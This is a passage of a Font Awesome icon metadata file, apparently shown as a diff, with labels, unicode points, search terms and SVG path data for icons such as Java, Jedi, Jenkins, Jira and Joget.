5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z" + } + }, + "free": [ + "brands" + ] + }, + "java": { + "changes": [ + "5.0.10", + "5.7.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4e4", + "label": "Java", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775900, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z" + } + }, + "free": [ + "brands" + ] + }, + "jedi": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "crest", + "force", + "sith", + "skywalker", + "star wars", + "yoda" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f669", + "label": "Jedi", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635559, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M535.95308,352c-42.64069,94.17188-137.64086,160-247.9848,160q-6.39844,0-12.84377-.29688C171.15558,506.9375,81.26481,442.23438,40.01474,352H79.93668L21.3272,293.40625a264.82522,264.82522,0,0,1-5.10938-39.42187,273.6653,273.6653,0,0,1,.5-29.98438H63.93665L22.546,182.625A269.79782,269.79782,0,0,1,130.51489,20.54688a16.06393,16.06393,0,0,1,9.28127-3,16.36332,16.36332,0,0,1,13.5,7.25,16.02739,16.02739,0,0,1,1.625,15.09374,138.387,138.387,0,0,0-9.84376,51.26563c0,45.10937,21.04691,86.57813,57.71884,113.73437a16.29989,16.29989,0,0,1,1.20313,25.39063c-26.54692,23.98437-41.17194,56.5-41.17194,91.57813,0,60.03124,42.95319,110.28124,99.89079,121.92187l2.5-65.26563L238.062,397a8.33911,8.33911,0,0,1-10-.75,8.025,8.025,0,0,1-1.39063-9.9375l20.125-33.76562-42.06257-8.73438a7.9898,7.9898,0,0,1,0-15.65625l42.06257-8.71875-20.10941-33.73438a7.99122,7.99122,0,0,1,11.35939-10.71874L268.437,295.64062,279.95265,7.67188a7.97138,7.97138,0,0,1,8-7.67188h.04687a8.02064,8.02064,0,0,1,7.95314,7.70312L307.48394,295.625l30.39068-20.67188a8.08327,8.08327,0,0,1,10,.8125,7.99866,7.99866,0,0,1,1.39062,9.90626L329.12461,319.4375l42.07819,8.73438a7.99373,7.99373,0,0,1,0,15.65624l-42.07819,8.71876,20.1094,33.73437a7.97791,7.97791,0,0,1-1.32812,9.92187A8.25739,8.25739,0,0,1,337.87462,397L310.7027,378.53125l2.5,65.34375c48.48446-9.40625,87.57828-48.15625,97.31267-96.5A123.52652,123.52652,0,0,0,371.9528,230.29688a16.30634,16.30634,0,0,1,1.20313-25.42188c36.65631-27.17188,57.6876-68.60938,57.6876-113.73438a138.01689,138.01689,0,0,0-9.85939-51.3125,15.98132,15.98132,0,0,1,1.60937-15.09374,16.36914,16.36914,0,0,1,13.5-7.23438,16.02453,16.02453,0,0,1,9.25,2.98438A271.26947,271.26947,0,0,1,553.25,182.76562L511.99992,224h46.9532C559.3125,229.76562,560,235.45312,560,241.26562a270.092,270.092,0,0,1-5.125,51.85938L495.98427,352Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M535.95308,352c-42.64069,94.17188-137.64086,160-247.9848,160q-6.39844,0-12.84377-.29688C171.15558,506.9375,81.26481,442.23438,40.01474,352H79.93668L21.3272,293.40625a264.82522,264.82522,0,0,1-5.10938-39.42187,273.6653,273.6653,0,0,1,.5-29.98438H63.93665L22.546,182.625A269.79782,269.79782,0,0,1,130.51489,20.54688a16.06393,16.06393,0,0,1,9.28127-3,16.36332,16.36332,0,0,1,13.5,7.25,16.02739,16.02739,0,0,1,1.625,15.09374,138.387,138.387,0,0,0-9.84376,51.26563c0,45.10937,21.04691,86.57813,57.71884,113.73437a16.29989,16.29989,0,0,1,1.20313,25.39063c-26.54692,23.98437-41.17194,56.5-41.17194,91.57813,0,60.03124,42.95319,110.28124,99.89079,121.92187l2.5-65.26563L238.062,397a8.33911,8.33911,0,0,1-10-.75,8.025,8.025,0,0,1-1.39063-9.9375l20.125-33.76562-42.06257-8.73438a7.9898,7.9898,0,0,1,0-15.65625l42.06257-8.71875-20.10941-33.73438a7.99122,7.99122,0,0,1,11.35939-10.71874L268.437,295.64062,279.95265,7.67188a7.97138,7.97138,0,0,1,8-7.67188h.04687a8.02064,8.02064,0,0,1,7.95314,7.70312L307.48394,295.625l30.39068-20.67188a8.08327,8.08327,0,0,1,10,.8125,7.99866,7.99866,0,0,1,1.39062,9.90626L329.12461,319.4375l42.07819,8.73438a7.99373,7.99373,0,0,1,0,15.65624l-42.07819,8.71876,20.1094,33.73437a7.97791,7.97791,0,0,1-1.32812,9.92187A8.25739,8.25739,0,0,1,337.87462,397L310.7027,378.53125l2.5,65.34375c48.48446-9.40625,87.57828-48.15625,97.31267-96.5A123.52652,123.52652,0,0,0,371.9528,230.29688a16.30634,16.30634,0,0,1,1.20313-25.42188c36.65631-27.17188,57.6876-68.60938,57.6876-113.73438a138.01689,138.01689,0,0,0-9.85939-51.3125,15.98132,15.98132,0,0,1,1.60937-15.09374,16.36914,16.36914,0,0,1,13.5-7.23438,16.02453,16.02453,0,0,1,9.25,2.98438A271.26947,271.26947,0,0,1,553.25,182.76562L511.99992,224h46.9532C559.3125,229.76562,560,235.45312,560,241.26562a270.092,270.092,0,0,1-5.125,51.85938L495.98427,352Z" + } + }, + "free": [ + "solid" + ] + }, + "jedi-order": { + "changes": [ + "5.0.12", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "star wars" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f50e", + "label": "Jedi Order", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699929, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z" + } + }, + "free": [ + "brands" + ] + }, + "jenkins": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3b6", + "label": "Jenkis", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861000, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z" + } + }, + "free": [ + "brands" + ] + }, + "jira": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "atlassian" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f7b1", + "label": "Jira", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861000, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z" + } + }, + "free": [ + "brands" + ] + }, + "joget": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3b7", + "label": "Joget", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722332, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 